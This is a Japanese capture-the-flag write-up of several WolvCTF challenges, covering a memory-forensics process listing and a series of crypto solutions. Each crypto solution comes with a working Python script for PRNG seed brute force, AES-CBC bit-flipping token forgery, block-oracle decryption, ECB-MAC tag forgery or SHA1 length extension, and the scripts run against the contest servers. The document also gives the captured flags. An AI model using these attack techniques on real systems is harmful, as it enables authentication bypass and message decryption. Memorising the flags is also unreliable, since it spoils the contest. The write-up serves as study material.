408     340     winlogon.exe    0xfa801a3f75c0  4       97      1       False   2024-03-09 11:47:49.000000      N/A     \Device\HarddiskVolume1\Windows\System32\winlogon.exe     winlogon.exe    C:\Windows\system32\winlogon.exe
1320    1292    explorer.exe    0xfa801a7637c0  30      712     1       False   2024-03-09 11:47:52.000000      N/A     \Device\HarddiskVolume1\Windows\explorer.exe      C:\Windows\Explorer.EXE C:\Windows\Explorer.EXE
* 896   1320    multireader.ex  0xfa801a8601d0  2       57      1       False   2024-03-09 11:54:50.000000      N/A     \Device\HarddiskVolume1\temp\multireader.exe      "C:\temp\multireader.exe"       C:\temp\multireader.exe
* 804   1320    cmd.exe 0xfa801a496450  1       21      1       False   2024-03-09 11:50:05.000000      N/A     \Device\HarddiskVolume1\Windows\System32\cmd.exe  "C:\Windows\system32\cmd.exe"   C:\Windows\system32\cmd.exe
* 1644  1320    notepad.exe     0xfa801a4ba060  1       57      1       False   2024-03-09 11:52:04.000000      N/A     \Device\HarddiskVolume1\Windows\System32\notepad.exe      "C:\Windows\system32\NOTEPAD.EXE" C:\Users\joe\Desktop\schedule.txt     C:\Windows\system32\NOTEPAD.EXE
* 1804  1320    cGFzdGViaW4uY2  0xfa801a8de800  8       258     1       False   2024-03-09 11:54:49.000000      N/A     \Device\HarddiskVolume1\temp\cGFzdGViaW4uY29tL3lBYTFhS2l1.exe     "C:\temp\cGFzdGViaW4uY29tL3lBYTFhS2l1.exe"      C:\temp\cGFzdGViaW4uY29tL3lBYTFhS2l1.exe
* 1680  1320    cmd.exe 0xfa801a862060  1       19      1       False   2024-03-09 11:49:15.000000      N/A     \Device\HarddiskVolume1\Windows\System32\cmd.exe  "C:\Windows\system32\cmd.exe"   C:\Windows\system32\cmd.exe
* 1272  1320    iexplore.exe    0xfa801a983b30  11      381     1       True    2024-03-09 11:55:44.000000      N/A     \Device\HarddiskVolume1\Program Files (x86)\Internet Explorer\iexplore.exe        "C:\Program Files (x86)\Internet Explorer\iexplore.exe"         C:\Program Files (x86)\Internet Explorer\iexplore.exe
** 1284 1272    iexplore.exe    0xfa801a503b30  16      348     1       True    2024-03-09 11:55:45.000000      N/A     \Device\HarddiskVolume1\Program Files (x86)\Internet Explorer\iexplore.exe        "C:\Program Files (x86)\Internet Explorer\iexplore.exe" SCODEF:1272 CREDAT:71937        C:\Program Files (x86)\Internet Explorer\iexplore.exe
2568    2492    taskmgr.exe     0xfa801ac2db30  7       124     1       False   2024-03-09 12:05:33.000000      N/A     \Device\HarddiskVolume1\Windows\System32\taskmgr.exe      "C:\Windows\system32\taskmgr.exe"  /1   C:\Windows\system32\taskmgr.exe

あやしいプロセスがある。

cGFzdGViaW4uY29tL3lBYTFhS2l1.exe

拡張子を除き、ファイル名をbase64デコードする。

$ echo cGFzdGViaW4uY29tL3lBYTFhS2l1 | base64 -d
pastebin.com/yAa1aKiu

https://pastebin.com/yAa1aKiuにアクセスしたら、フラグが書いてあった。

wctf{v0lAt1l3_m3m0ry_4qu1r3D_a3fe9fn3al}

Limited 1 (Crypto)

スクリプトの処理概要は以下の通り。

・flag: 入力
・correct: 既知数値配列
・time_cycle: UNIXTIMEを整数値を256で割った余り
・flagの長さとcorrectの長さが一致しない場合エラー
・flagの長さだけ以下繰り返し(i)
 ・i+time_cycleをseedとしてセット
 ・correct[i]とflag[i]とrandom.getrandbits(8)のXORが一致しない場合エラー
・フラグを出力

time_cycle、256パターンのブルートフォースでフラグを復号する。

#!/usr/bin/env python3
import random

correct = [189, 24, 103, 164, 36, 233, 227, 172, 244, 213, 61, 62, 84, 124, 242,
    100, 22, 94, 108, 230, 24, 190, 23, 228, 24]

for time_cycle in range(256):
    flag = b''
    for i in range(len(correct)):
        random.seed(i + time_cycle)
        v = correct[i] ^ random.getrandbits(8)
        flag += bytes([v])
    if flag.startswith(b'wctf{'):
        flag = flag.decode()
        print(flag)
        break
wctf{f34R_0f_m1ss1ng_0ut}

Limited 2 (Crypto)

スクリプトの処理概要は以下の通り。

・flag: 入力
・correct: 既知数値配列
・flagの長さとcorrectの長さが一致しない場合エラー
・tm_yearが2024以上または2023未満の場合エラー
・tm_ydayが365でなく、366でない場合エラー
・flagの長さだけ以下繰り返し(i)
 ・time_current: UNIXTIME現在時刻の整数値
 ・i+time_currentをseedとしてセット
 ・correct[i]とflag[i]とrandom.getrandbits(8)のXORが一致しない場合エラー
 ・random.randint(1, 60)だけsleep
・フラグを出力

tm_yearは2023、tm_ydayは365または366である。つまり日付は2023/12/31または2024/1/1になる。UNIXTIMEは1703980800~1704153599の間になり、172800秒数分のパターンのブルートフォースでフラグを復号する。

#!/usr/bin/env python3
import random

correct = [192, 123, 40, 205, 152, 229, 188, 64, 42, 166, 126, 125, 13, 187, 91]

for time_current in range(1703980800, 1704153600):
    cur = time_current
    flag = b''
    for i in range(len(correct)):
        random.seed(i + cur)
        v = correct[i] ^ random.getrandbits(8)
        flag += bytes([v])
        cur += random.randint(1, 60)
    if flag.startswith(b'wctf{'):
        flag = flag.decode()
        print(flag)
        break
wctf{b4ll_dr0p}

Blocked1 (Crypto)

サーバの処理概要は以下の通り。

・MASTER_KEY: ランダム16バイト文字列
・username: "guest_ランダム100000以上999999以下"
・以下繰り返し
 ・s: 入力
 ・sが"1"の場合
  ・token: 入力
  ・verify(bytes.fromhex(token))が"doubledelete"の場合、フラグを表示
  ・verify(bytes.fromhex(token))が"doubledelete"以外の場合、usernameを表示
 ・sが"2"の場合
  ・generate(username)の16進数表記表示
   ・iv: 16バイト文字列
   ・msg: "password reset: {username}"
   ・msgの長さが16の倍数でない場合は"\x0"を16の倍数の長さになるまでパディングする。
   ・iv + 鍵:MASTER_KEY、IV:ivでAES-CBC暗号でmsgを暗号化したものを返却
 ・sが"3"の場合
  ・メッセージ表示
0123456789abcdef
password reset: 
guest_xxxxxxOOOO
平文1ブロック目 ^ iv              --(AES暗号)--> 暗号1ブロック目
平文2ブロック目 ^ 暗号1ブロック目 --(AES暗号)--> 暗号2ブロック目

暗号1ブロック目を以下のように変更して指定すれば、usernameが"doubledelete"になり、フラグが得られる。

新暗号1ブロック目 = guest_xxxxxxOOOO ^ 暗号1ブロック目 ^ doubledeleteOOOO
#!/usr/bin/env python3
import socket
from Crypto.Util.strxor import strxor

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('blocked1.wolvctf.io', 1337))

target = b'doubledelete'
target += b'\0' * (16 - len(target) % 16)

data = recvuntil(s, b']\n').rstrip()
print(data)
data = recvuntil(s, b'\n').rstrip()
print(data)
username = data.split(' ')[-1].encode()
username += b'\0' * (16 - len(username) % 16)
data = recvuntil(s, b'\n').rstrip()
print(data)

data = recvuntil(s, b'> ')
print(data + '2')
s.sendall(b'2\n')
data = recvuntil(s, b'\n').rstrip()
print(data)

ct = bytes.fromhex(data)
ct1 = ct[16:32]
ct1 = strxor(strxor(username, ct1), target)
token = (ct[:16] + ct1 + ct[32:]).hex()

data = recvuntil(s, b'> ')
print(data + '1')
s.sendall(b'1\n')
data = recvuntil(s, b'> ')
print(data + token)
s.sendall(token.encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)

実行結果は以下の通り。

== proof-of-work: disabled ==
                 __      __
 _      ______  / /___  / /_ _   __
| | /| / / __ \/ / __ \/ __ \ | / /
| |/ |/ / /_/ / / /_/ / / / / |/ /
|__/|__/\____/_/ .___/_/ /_/|___/
              /_/
[      password reset portal      ]
you are logged in as: guest_481401

 to enter a password reset token, please press 1
 if you forgot your password, please press 2
 to speak to our agents, please press 3
 > 2
197f75faa9088d7f9d8cda74968b137a803ec4790420699bfb4a732c40abc617f8db39f46cdd676ceda664c420eb61e5
 to enter a password reset token, please press 1
 if you forgot your password, please press 2
 to speak to our agents, please press 3
 > 1
 token > 197f75faa9088d7f9d8cda74968b137a8324d4681c1a39c6a61b377840abc617f8db39f46cdd676ceda664c420eb61e5
wctf{th3y_l0st_th3_f1rst_16_byt35_0f_th3_m3ss4g3_t00}
wctf{th3y_l0st_th3_f1rst_16_byt35_0f_th3_m3ss4g3_t00}

Blocked2 (Crypto)

$ nc blocked2.wolvctf.io 1337
== proof-of-work: disabled ==
                 __      __
 _      ______  / /___  / /_ _   __
| | /| / / __ \/ / __ \/ __ \ | / /
| |/ |/ / /_/ / / /_/ / / / / |/ /
|__/|__/\____/_/ .___/_/ /_/|___/
              /_/
[          email portal          ]
you are logged in as doubledelete@wolp.hv

you have one new encrypted message:
fef05ad3ef9d67aa5e9253d50227333ff44d61c3d754857d50f6ba26763f6f627e1b9656e6c709a0d207de966b22dca6075ffe936e74ea90afbe31a307c32b7e38aea88edbbabae92e9e51c4f40eec848af45cc101400de2681e48b9ab83f62edca083f7bf472f05f66318967ace5d05b0c92bad84bc1a7f619c13eac7d9b4f3cddbc68b37a82e1057062a3f86a0058e83b715594491d73404d114f2fbd7d2d704b3d1848fc4d08870560fca452a7cd3abf9c56a8fa4e102efbf6f394a7827a83532d74060c009a155f664af989e7944efb84fce6809a25fee8b7d6288043a855044ead4645f1c027cb72c4566856bb84fc3f6fe385b195f477bfae0f1c91365da415f285d817193b5f6fd958ff2d5918d22f4c463c46da2dc65cb6f56d84a0c78778151266c013cdf0fee7e92dd2a47
 enter a message to send to dree@wolp.hv, in hex
 > 1234
message must be a multiple of 16 bytes long! don't forget to use the WOLPHV propietary padding scheme

サーバの処理概要は以下の通り。

・MASTER_KEY: ランダム16バイト文字列
・message: メッセージ
・encrypt(message)を16進数表記表示
・以下繰り返し
 ・s: 入力
 ・message: sをhexデコード
 ・encrypt(message)を16進数表記表示
  ・messageの長さが16の倍数でない場合エラー
  ・iv: ランダム16バイト文字列
  ・blocks: messageの16バイトごとの配列
  ・encrypted: [iv] + blocksの配列の各要素をAES ECB暗号化
  ・encrypted: encryptedの各要素とblocksの各要素のXOR(最後以外)
  ・iv + encryptedの結合したものを返却
iv0 --(AES暗号化)--> CT00 ^ PT01 …[1]
PT01 --(AES暗号化)--> CT01 ^ PT02 …[2]
PT02 --(AES暗号化)--> CT02 ^ PT03
        :
PT18 --(AES暗号化)--> CT18 ^ PT19
PT19 --(AES暗号化)--> CT19

messageにiv0を指定すると、以下のようなイメージで暗号化される。

iv1 --(AES暗号化)--> CT00_1 ^ iv0
iv0  --(AES暗号化)--> CT00

第2ブロックの暗号文と[1]の暗号文をXORしたらPT01が割り出せる。
同様にmessageにPT01を指定すると、以下のようなイメージで暗号化される。

iv2 --(AES暗号化)--> CT00_2 ^ PT01
PT01 --(AES暗号化)--> CT01

第2ブロックの暗号文と[2]の暗号文をXORしたらPT02が割り出せる。
これを繰り返すことによって元のメッセージを復号できる。

#!/usr/bin/env python3
import socket
from Crypto.Util.strxor import strxor

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('blocked2.wolvctf.io', 1337))

data = recvuntil(s, b':\n').rstrip()
print(data)
data = recvuntil(s, b'\n').rstrip()
print(data)
enc_msg = bytes.fromhex(data)
enc_blocks = [enc_msg[i:i+16] for i in range(0, len(enc_msg), 16)]

message = enc_blocks[0]
for i in range(len(enc_blocks) - 1):
    try_message = message[-16:].hex()
    data = recvuntil(s, b'> ')
    print(data + try_message)
    s.sendall(try_message.encode() + b'\n')
    data = recvuntil(s, b'\n').rstrip()
    print(data)

    enc_block2 = bytes.fromhex(data[64:])
    message += strxor(enc_block2, enc_blocks[i + 1])

message = message[16:].decode()
print(message)

実行結果は以下の通り。

== proof-of-work: disabled ==
                 __      __
 _      ______  / /___  / /_ _   __
| | /| / / __ \/ / __ \/ __ \ | / /
| |/ |/ / /_/ / / /_/ / / / / |/ /
|__/|__/\____/_/ .___/_/ /_/|___/
              /_/
[          email portal          ]
you are logged in as doubledelete@wolp.hv

you have one new encrypted message:
48ba7db083d7ecc4cf0158007a3d207ecd0993314b73284cefa20f882a63443a287ba0f0930e3bbc2ad6ed886e140303636e079538cd5460f41e8e28c1f6f5b635e9594da13df1528fce83a849962c02111237ba4445c2d424617da728e3b947d5baac79055d2708a57f642edbcf370a70b488c67cf4ad53676cbb09a9425e97c5576699203fd07c4afc059d8d2d0c10864a30ef0388bd9563e1d710cabe0053376129a3996f34fa36324977e5cb30c1089dfc2f9182735f5033d3c453caa07fad9455bc62d0068244f3b66d035976aeec7e23d33ecc9da51e4ddea5c2b6cca053499e5365ca144d4f6239a97a4139a3ab04f51bcdc04a47ecfe6f3abaaed03c1118cfd1975d6c2529323a32951b098a8b8c15891a62eb4c8e6ac88e6fc43f2a875ae83da3e0a16554527440329bbec4
 enter a message to send to dree@wolp.hv, in hex
 > 48ba7db083d7ecc4cf0158007a3d207e
0fc55fe2caf1a3305e366428324b1c9f32e20a266d53f54f32dd534b8fd3b58cb961fc422e535f2383d47ced49432a5f
 enter a message to send to dree@wolp.hv, in hex
 > 74686f736520776f6c76736563206e65
3f849dcde2640dc82ff4d8c6cbc153da4b27f98865a20792fb3505e1206baf4f5a1fd3d0e16b5ad046afcdfc067d6d68
 enter a message to send to dree@wolp.hv, in hex
 > 726473207265616c6c79207468696e6b
5c57d42dfb2f9242a89957a0d8d5334d63255fae9df344081dc651ef19a310b5431a6ff041ea2605d43ce947ae92d5d7
 enter a message to send to dree@wolp.hv, in hex
 > 20746865792772652022676f6f642061
0dbecb3b896424d287ff43347c479d5c46f54b82eda84dfa3eafef4d70d8751941c92a28c248833bfbb7a18821e3442c
 enter a message to send to dree@wolp.hv, in hex
 > 7420736563757269747922206875682e
5b8e51647407f7dc975fe1edc9de0691ef68c1be1a72451947519844cbf68a363f3c17c8312bacbd4a065dd340869935
 enter a message to send to dree@wolp.hv, in hex
 > 2e2e2072756e6e696e67207468652072
f5e781a41b744aadd2d0b4a687db2e01d4937981a6a4e6d256cce2bdf9ef11f4b4d4df16682a467ac05f134fa8ef406b
 enter a message to send to dree@wolp.hv, in hex
 > 616e736f6d7761726520776173207761
8ef4cbc1f0a75d7f4c41e0b2404de26421099db10f9c112d5e62c74045b0dafc0994fca913d4c83214159529c06528f2
 enter a message to send to dree@wolp.hv, in hex
 > 7920746f6f20656173792e2069277665
278601ae6cf0d5d2ad914702b67132d1722fd231d8bf402f77f92195f5877b92e52216f54f5eb4192edc71f5e8447e30
 enter a message to send to dree@wolp.hv, in hex
 > 2075706c6f6164656420746865697220
503497104e7dc10b8c7a5d0fe35485f440d79222e8f1f5601127afed91fcb446e0235c8a70a8c9fa438ea262eacd6530
 enter a message to send to dree@wolp.hv, in hex
 > 66696c657320746f206f757220736563
e791615e4ae5767fd49ea2e5ebe1bcc83897e5552d3c5856392b5340c63d236742134c83ea1b5b8857552c5bc5a755b5
 enter a message to send to dree@wolp.hv, in hex
 > 7572652073746f726167652c206c6574
c64d3bf570373167d92e990dbec46195735d1d0e81a8931c43f4897ed785a59828f0990ffaec1c287044bba13dead910
 enter a message to send to dree@wolp.hv, in hex
 > 206d65206b6e6f77207768656e20796f
cb8637f46c67ae224e3459abbc77eab923c62325565f36ba5d3e3a04a7e79279d8b43ddd14b526f62c96db672e3d19db
 enter a message to send to dree@wolp.hv, in hex
 > 752068617665207468656d0a2d646f75
827aca31430d5f1831c051634e5f0bb90222e0dfc902fe449bd6d5a6f10438a88e1246b75ba0f8d17b0da9caaec6e2c8
 enter a message to send to dree@wolp.hv, in hex
 > 626c6564656c65746540776f6c702e68
65a96d0cd7e5aae8edb61c59a4ee99a677cc1e31608ec286788c55e383bbf4c42543e93011ac6f3e7f0f0af61d7109c7
 enter a message to send to dree@wolp.hv, in hex
 > 760a776374667b73306d335f67303064
82ba1f40ca80cb5683f82a7cc3f74e26a370ff02171f62e4b7596dca2e72aee5f477c678b8b27b3395a1160acff1b808
 enter a message to send to dree@wolp.hv, in hex
 > 5f73336375723174795f7930755f6834
6ae294559a9d2cdbf4e1459cb8dc428cd2c0906f4cb3c86e203fb886c142928a672b90a3a731004c4755654ba56e7bd5
 enter a message to send to dree@wolp.hv, in hex
 > 76335f72306c6c696e675f793075725f
b0fde87710b6126fcb10cf098e3dff4eb830a82e24c9befcdac5460027f2fe9dbbfb7bd67910923cfa5a97e61aac4220
 enter a message to send to dree@wolp.hv, in hex
 > 30776e5f6372797074305f6875687d0a
d54f09eb0eb8f3edd14e28df6f7e7b0590dddedea6674c615f7f9c7ff72ab9f9875ae83da3e0a16554527440329bbec4
those wolvsec nerds really think they're "good at security" huh... running the ransomware was way too easy. i've uploaded their files to our secure storage, let me know when you have them
-doubledelete@wolp.hv
wctf{s0m3_g00d_s3cur1ty_y0u_h4v3_r0lling_y0ur_0wn_crypt0_huh}
wctf{s0m3_g00d_s3cur1ty_y0u_h4v3_r0lling_y0ur_0wn_crypt0_huh}

TagSeries1 (Crypto)

サーバの処理概要は以下の通り。

・MESSAGE = b"GET FILE: flag.txt"
・QUERIES = []
・BLOCK_SIZE = 16
・KEY: ランダム16バイト文字列
・以下3回繰り返し
 ・command: 入力
 ・tag: 入力
 ・commandがQUERIESにあったら、command入力からやり直し(回数は減る)
 ・commandの長さが16で割り切れない場合、command入力からやり直し(回数は減る)
 ・result = oracle(command)
  ・commandのAES-ECB暗号の最後の16バイトを返却
 ・commandがMESSAGEから始まりtagがresultと一致する場合、フラグを表示
 ・commandがMESSAGEから始まらないかtagがresultと一致しない場合
  ・QUERIESにcommandを追加
  ・resultを表示

MESSAGEの先頭16バイトを除いても、tagは同じになることを使って、条件を満たすようにする。

#!/usr/bin/env python3
import socket

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

MESSAGE = 'GET FILE: flag.txt'

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('tagseries1.wolvctf.io', 1337))

data = recvuntil(s, b'\n').decode().rstrip()
print(data)

command = MESSAGE[16:]
command = command + '#' * (16 - len(command) % 16)
print(command)
s.sendall(command.encode() + b'\n')
tag = b'1' * 16
print(tag)
s.sendall(tag + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)

tag = data
command = MESSAGE
command = command + '#' * (16 - len(command) % 16)
print(command)
s.sendall(command.encode() + b'\n')
print(tag)
s.sendall(tag + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)

実行結果は以下の通り。

== proof-of-work: disabled ==
xt##############
b'1111111111111111'
b'Q,V\x03(\x1cD\x94\t?<\xdeu\xb1\x85o'
GET FILE: flag.txt##############
b'Q,V\x03(\x1cD\x94\t?<\xdeu\xb1\x85o'
b'wctf{C0nGr4ts_0n_g3tt1ng_p4st_A3S}'
wctf{C0nGr4ts_0n_g3tt1ng_p4st_A3S}

TagSeries3 (Crypto)

サーバの処理概要は以下の通り。

・MESSAGE = b"GET FILE: "
・SECRET: ランダム1200バイト文字列
・SECRET + MESSAGEのsha1の16進数表記を表示
・command: 入力
・hash: 入力
・commandがMESSAGEから始まり、commandに"flag.txt"が含まれていたら、以下を実行
 ・SECRET + commandのsha1の16進数表記がhashと一致していたら、フラグを表示

以下の情報がわかっている。

・SECRETの長さ
・SECRET + MESSAGEのsha1
・commandに含めるべきデータ
・SECRET + MESSAGEのMESSAGE

Hash Length Extension attackで条件を満たすデータを取得し、送信する。Pythonのhashpumpyは1200近くになると正しく算出できない。https://github.com/iagox86/hash_extenderを利用してみる。

#!/usr/bin/env python3
import socket
import subprocess

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

MESSAGE = 'GET FILE: '
sec_len = 1200
command_part = 'flag.txt'

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('tagseries3.wolvctf.io', 1337))

data = recvuntil(s, b'\n').rstrip()
print(data)
data = recvuntil(s, b'\n').rstrip()
print(data)
msg_hash = data


cmd = ['./hash_extender', '--signature', msg_hash, '--data', MESSAGE,
    '--secret', str(sec_len), '--append', command_part]
ret = subprocess.check_output(cmd).decode().rstrip()
hsh = ret.split('\n')[12].split(': ')[1]
command = ret.split('\n')[13].split(': ')[1]
command = bytes.fromhex(command)

print(command)
s.sendall(command + b'\n')
print(hsh)
s.sendall(hsh.encode() + b'\n')
data = recvuntil(s, b'}')
print(data)

実行結果は以下の通り。

== proof-of-work: disabled ==
e9761821a6eecdd9690486083046dce8afe9ef0e
b'GET FILE: \x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00%\xd0flag.txt'
03eb5cfe8e754486f96a13f0e99e59562e8b0cc4
wctf{M4n_t4er3_mu5t_b3_4_bett3r_w4y}
wctf{M4n_t4er3_mu5t_b3_4_bett3r_w4y}

Feedback Survey (Misc)

アンケートに答えたら、フラグが表示された。

wctf{th4Nk5_f0R_pl4y1ng!}